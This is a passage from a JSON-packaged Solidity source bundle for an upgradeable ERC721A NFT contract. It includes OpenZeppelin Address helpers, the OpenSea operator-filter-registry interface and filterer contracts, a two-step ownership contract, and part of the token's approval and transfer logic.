memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n /**\n * @notice Returns true if operator is not filtered for a given token, either by address or codeHash. Also returns\n * true if supplied registrant address is not registered.\n */\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n\n /**\n * @notice Registers an address with the registry. May be called by address itself or by EIP-173 owner.\n */\n function register(address registrant) external;\n\n /**\n * @notice Registers an address with the registry and \"subscribes\" to another address's filtered operators and codeHashes.\n */\n function registerAndSubscribe(address registrant, address subscription) external;\n\n /**\n * @notice Registers an address with the registry and copies the filtered operators and codeHashes from another\n * address without subscribing.\n */\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Unregisters an address with the registry and removes its subscription. May be called by address itself or by EIP-173 owner.\n * Note that this does not remove any filtered addresses or codeHashes.\n * Also note that any subscriptions to this registrant will still be active and follow the existing filtered addresses and codehashes.\n */\n function unregister(address addr) external;\n\n /**\n * @notice Update an operator address for a registered address - when filtered is true, the operator is filtered.\n */\n function updateOperator(address registrant, address operator, bool filtered) external;\n\n /**\n * @notice Update multiple operators for a registered address - when filtered is true, the operators will be filtered. Reverts on duplicates.\n */\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n\n /**\n * @notice Update a codeHash for a registered address - when filtered is true, the codeHash is filtered.\n */\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n\n /**\n * @notice Update multiple codeHashes for a registered address - when filtered is true, the codeHashes will be filtered. Reverts on duplicates.\n */\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n\n /**\n * @notice Subscribe an address to another registrant's filtered operators and codeHashes. Will remove previous\n * subscription if present.\n * Note that accounts with subscriptions may go on to subscribe to other accounts - in this case,\n * subscriptions will not be forwarded. Instead the former subscription's existing entries will still be\n * used.\n */\n function subscribe(address registrant, address registrantToSubscribe) external;\n\n /**\n * @notice Unsubscribe an address from its current subscribed registrant, and optionally copy its filtered operators and codeHashes.\n */\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n\n /**\n * @notice Get the subscription address of a given registrant, if any.\n */\n function subscriptionOf(address addr) external returns (address registrant);\n\n /**\n * @notice Get the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscribers(address registrant) external returns (address[] memory);\n\n /**\n * @notice Get the subscriber at a given index in the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscriberAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Copy filtered operators and codeHashes from a different registrantToCopy to addr.\n */\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Returns true if operator is filtered by a given address or its subscription.\n */\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n\n /**\n * @notice Returns true if the hash of an address's code is filtered by a given address or its subscription.\n */\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n\n /**\n * @notice Returns true if a codeHash is filtered by a given address or its subscription.\n */\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n\n /**\n * @notice Returns a list of filtered operators for a given address or its subscription.\n */\n function filteredOperators(address addr) external returns (address[] memory);\n\n /**\n * @notice Returns the set of filtered codeHashes for a given address or its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n\n /**\n * @notice Returns the filtered operator at the given index of the set of filtered operators for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Returns the filtered codeHash at the given index of the list of filtered codeHashes for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n\n /**\n * @notice Returns true if an address has registered\n */\n function isRegistered(address addr) external returns (bool);\n\n /**\n * @dev Convenience method to compute the code hash of an arbitrary contract\n */\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"lib/operator-filter-registry/src/lib/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\naddress constant CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS = 0x000000000000AAeB6D7670E522A718067333cd4E;\naddress constant CANONICAL_CORI_SUBSCRIPTION = 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;\n"
},
"lib/operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFiltererUpgradeable} from \"./OperatorFiltererUpgradeable.sol\";\nimport {CANONICAL_CORI_SUBSCRIPTION} from \"../lib/Constants.sol\";\n\n/**\n * @title DefaultOperatorFiltererUpgradeable\n * @notice Inherits from OperatorFiltererUpgradeable and automatically subscribes to the default OpenSea subscription\n * when the init function is called.\n */\nabstract contract DefaultOperatorFiltererUpgradeable is OperatorFiltererUpgradeable {\n /// @dev The upgradeable initialize function that should be called when the contract is being deployed.\n function __DefaultOperatorFilterer_init() internal onlyInitializing {\n OperatorFiltererUpgradeable.__OperatorFilterer_init(CANONICAL_CORI_SUBSCRIPTION, true);\n }\n}\n"
},
"lib/operator-filter-registry/src/upgradeable/OperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"../IOperatorFilterRegistry.sol\";\nimport {Initializable} from \"../../../../lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title OperatorFiltererUpgradeable\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry when the init function is called.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFiltererUpgradeable is Initializable {\n /// @notice Emitted when an operator is not allowed.\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n /// @dev The upgradeable initialize function that should be called when the contract is being upgraded.\n function __OperatorFilterer_init(address subscriptionOrRegistrantToCopy, bool subscribe)\n internal\n onlyInitializing\n {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isRegistered(address(this))) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n }\n\n /**\n * @dev A helper modifier to check if the operator is allowed.\n */\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n /**\n * @dev A helper modifier to check if the operator approval is allowed.\n */\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n /**\n * @dev A helper function to check if the operator is allowed.\n */\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n // under normal circumstances, this function will revert rather than return false, but inheriting or\n // upgraded contracts may specify their own OperatorFilterRegistry implementations, which may behave\n // differently\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"lib/utility-contracts/src/ConstructorInitializable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\n/**\n * @author emo.eth\n * @notice Abstract smart contract that provides an onlyUninitialized modifier which only allows calling when\n * from within a constructor of some sort, whether directly instantiating an inherting contract,\n * or when delegatecalling from a proxy\n */\nabstract contract ConstructorInitializable {\n error AlreadyInitialized();\n\n modifier onlyConstructor() {\n if (address(this).code.length != 0) {\n revert AlreadyInitialized();\n }\n _;\n }\n}\n"
},
"lib/utility-contracts/src/TwoStepOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\nimport {ConstructorInitializable} from \"./ConstructorInitializable.sol\";\n\n/**\n@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer\nOwner can cancel the transfer at any point before the new owner claims ownership.\nHelpful in guarding against transferring ownership to an address that is unable to act as the Owner.\n*/\nabstract contract TwoStepOwnable is ConstructorInitializable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address internal potentialOwner;\n\n event PotentialOwnerUpdated(address newPotentialAdministrator);\n\n error NewOwnerIsZeroAddress();\n error NotNextOwner();\n error OnlyOwner();\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n constructor() {\n _initialize();\n }\n\n function _initialize() private onlyConstructor {\n _transferOwnership(msg.sender);\n }\n\n ///@notice Initiate ownership transfer to newPotentialOwner. Note: new owner will have to manually acceptOwnership\n ///@param newPotentialOwner address of potential new owner\n function transferOwnership(address newPotentialOwner)\n public\n virtual\n onlyOwner\n {\n if (newPotentialOwner == address(0)) {\n revert NewOwnerIsZeroAddress();\n }\n potentialOwner = newPotentialOwner;\n emit PotentialOwnerUpdated(newPotentialOwner);\n }\n\n ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership\n function acceptOwnership() public virtual {\n address _potentialOwner = potentialOwner;\n if (msg.sender != _potentialOwner) {\n revert NotNextOwner();\n }\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n _transferOwnership(_potentialOwner);\n }\n\n ///@notice cancel ownership transfer\n function cancelOwnershipTransfer() public virtual onlyOwner {\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (_owner != msg.sender) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"src/clones/ERC721ACloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport { IERC721A } from \"ERC721A/IERC721A.sol\";\n\nimport {\n Initializable\n} from \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of ERC721 token receiver.\n */\ninterface ERC721A__IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\n/**\n * @title ERC721A\n *\n * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)\n * Non-Fungible Token Standard, including the Metadata extension.\n * Optimized for lower gas during batch mints.\n *\n * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)\n * starting from `_startTokenId()`.\n *\n * Assumptions:\n *\n * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721ACloneable is IERC721A, Initializable {\n // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).\n struct TokenApprovalRef {\n address value;\n }\n\n // =============================================================\n // CONSTANTS\n // =============================================================\n\n // Mask of an entry in packed address data.\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n // The bit position of `numberMinted` in packed address data.\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n // The bit position of `numberBurned` in packed address data.\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n // The bit position of `aux` in packed address data.\n uint256 private constant _BITPOS_AUX = 192;\n\n // Mask of all 256 bits in packed address data except the 64 bits for `aux`.\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n // The bit position of `startTimestamp` in packed ownership.\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n // The bit mask of the `burned` bit in packed ownership.\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n // The bit position of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n // The bit mask of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n // The bit position of `extraData` in packed ownership.\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n // The mask of the lower 160 bits for addresses.\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n // The maximum `quantity` that can be minted with {_mintERC2309}.\n // This limit is to prevent overflows on the address data entries.\n // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}\n // is required to cause an overflow, which is unrealistic.\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n // The `Transfer` event signature is given by:\n // `keccak256(bytes(\"Transfer(address,address,uint256)\"))`.\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n // =============================================================\n // STORAGE\n // =============================================================\n\n // The next token ID to be minted.\n uint256 private _currentIndex;\n\n // The number of tokens burned.\n uint256 private _burnCounter;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned.\n // See {_packedOwnershipOf} implementation for details.\n //\n // Bits Layout:\n // - [0..159] `addr`\n // - [160..223] `startTimestamp`\n // - [224] `burned`\n // - [225] `nextInitialized`\n // - [232..255] `extraData`\n mapping(uint256 => uint256) private _packedOwnerships;\n\n // Mapping owner address to address data.\n //\n // Bits Layout:\n // - [0..63] `balance`\n // - [64..127] `numberMinted`\n // - [128..191] `numberBurned`\n // - [192..255] `aux`\n mapping(address => uint256) private _packedAddressData;\n\n // Mapping from token ID to approved address.\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // =============================================================\n // CONSTRUCTOR\n // =============================================================\n\n function __ERC721ACloneable__init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n // =============================================================\n // TOKEN COUNTING OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the starting token ID.\n * To change the starting token ID, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Returns the next token ID to be minted.\n */\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than `_currentIndex - _startTokenId()` times.\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view virtual returns (uint256) {\n // Counter underflow is impossible as `_currentIndex` does not decrement,\n // and it is initialized to `_startTokenId()`.\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total number of tokens burned.\n */\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n // =============================================================\n // ADDRESS DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner)\n public\n view\n virtual\n override\n returns (uint256)\n {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n /**\n * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n // Cast `aux` with assembly to avoid redundant masking.\n assembly {\n auxCasted := aux\n }\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override\n returns (bool)\n {\n // The interface IDs are constants representing the first 4 bytes\n // of the XOR of all function selectors in the interface.\n // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)\n // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)\n return\n interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.\n interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.\n interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.\n }\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, it can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n // =============================================================\n // OWNERSHIPS OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n /**\n * @dev Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around over time.\n */\n function _ownershipOf(uint256 tokenId)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct at `index`.\n */\n function _ownershipAt(uint256 index)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n /**\n * @dev Initializes the ownership slot minted at `index` for efficiency purposes.\n */\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n /**\n * Returns the packed ownership data of `tokenId`.\n */\n function _packedOwnershipOf(uint256 tokenId)\n private\n view\n returns (uint256)\n {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr) {\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n // If not burned.\n if (packed & _BITMASK_BURNED == 0) {\n // Invariant:\n // There will always be an initialized ownership slot\n // (i.e. `ownership.addr != address(0) && ownership.burned == false`)\n // before an unintialized ownership slot\n // (i.e. `ownership.addr == address(0) && ownership.burned == false`)\n // Hence, `curr` will not underflow.\n //\n // We can directly compare the packed value.\n // If the address is zero, packed will be zero.\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct from `packed`.\n */\n function _unpackedOwnership(uint256 packed)\n private\n pure\n returns (TokenOwnership memory ownership)\n {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n ownership.burned = packed & _BITMASK_BURNED != 0;\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n /**\n * @dev Packs ownership data into a single uint256.\n */\n function _packOwnershipData(address owner, uint256 flags)\n private\n view\n returns (uint256 result)\n {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n /**\n * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.\n */\n function _nextInitializedFlag(uint256 quantity)\n private\n pure\n returns (uint256 result)\n {\n // For branchless setting of the `nextInitialized` flag.\n assembly {\n // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n // =============================================================\n // APPROVAL OPERATIONS\n // =============================================================\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner) {\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n }\n\n _tokenApprovals[tokenId].value = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted. See {_mint}.\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex && // If within bounds,\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.\n }\n\n /**\n * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.\n */\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n // `msgSender == owner || msgSender == approvedAddress`.\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n /**\n * @dev Returns the storage slot and value for the approved address of `tokenId`.\n */\n function _getApprovedSlotAndAddress(uint256 tokenId)\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.\n assembly {\n approvedAddressSlot := tokenApproval.slot\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n // =============================================================\n // TRANSFER OPERATIONS\n // =============================================================\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n 